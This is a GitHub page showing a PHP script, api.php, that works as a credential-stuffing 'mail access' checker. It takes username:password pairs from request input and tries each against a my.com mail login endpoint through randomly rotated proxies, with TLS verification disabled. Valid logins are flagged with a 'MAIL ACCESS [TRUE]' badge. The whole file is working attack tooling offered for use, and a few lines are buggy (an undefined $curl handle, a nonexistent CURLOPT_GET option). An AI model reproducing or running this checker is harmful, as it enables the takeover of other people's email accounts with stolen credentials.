-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapi.php
More file actions
80 lines (65 loc) · 2.88 KB
/
api.php
File metadata and controls
80 lines (65 loc) · 2.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
// WEPAY
error_reporting(0);
date_default_timezone_set('Asia/Jakarta');
if ($_SERVER['REQUEST_METHOD'] == "POST") {
extract($_POST);
} elseif ($_SERVER['REQUEST_METHOD'] == "GET") {
extract($_GET);
}
function GetStr($string, $start, $end) {
$str = explode($start, $string);
$str = explode($end, $str[1]);
return $str[0];
}
function inStr($string, $start, $end, $value) {
$str = explode($start, $string);
$str = explode($end, $str[$value]);
return $str[0];
}
$separa = explode(":", $lista);
$user = $separa[0];
$pass = $separa[1];
function rebootproxys()
{
$poxySocks = file("proxy.txt");
$myproxy = rand(0, sizeof($poxySocks) - 1);
$poxySocks = $poxySocks[$myproxy];
return $poxySocks;
}
$poxySocks4 = rebootproxys();
$ch = curl_init();
curl_setopt($ch, CURLOPT_GET, true);
curl_setopt($ch, CURLOPT_URL, 'https://aj-https.my.com/cgi-bin/auth?model=&simple=1&Login='.$user.'&Password='.$pass.'');
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Accept-Encoding: gzip, deflate, br',
'Accept-Language: en-US,en;q=0.9',
'Connection: keep-alive',
'Host: aj-https.my.com',
'Sec-Fetch-Dest: document',
'Sec-Fetch-Mode: navigate',
'Sec-Fetch-Site: none',
'Sec-Fetch-User: ?1',
'Upgrade-Insecure-Requests: 1',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
echo $result = curl_exec($ch);
$s = json_decode($result, true);
if (strpos($result, '1')) {
echo '<span class="badge badge-success">#SUCCESS</span> <span class="badge badge-success">🤖</span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success">🤖</span> <span class="badge badge-success"> ★ 🍺MAIL ACCESS🍺[TRUE] </span></br> </span> <span class="badge badge-dark"></span> <span class="badge badge-dark"> 🔥DUSTIΠ_βΔβΔ🔥♛</span></br>';
}
elseif (strpos($result, "0")) {
echo '<span class="badge badge-info">#ERROR </span> <span class="badge badge-info">🤖</span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success"> ★ ERROR </span></br> </span> <span class="badge badge-dark"></span> <span class="badge badge-dark">🔥DUSTIΠ_βΔβΔ🔥♛ </span></br>';
}
curl_close($ch);
ob_flush();
///////////////////////////////////////////////===========xD========\\\\\\\\\\\\\\\
?>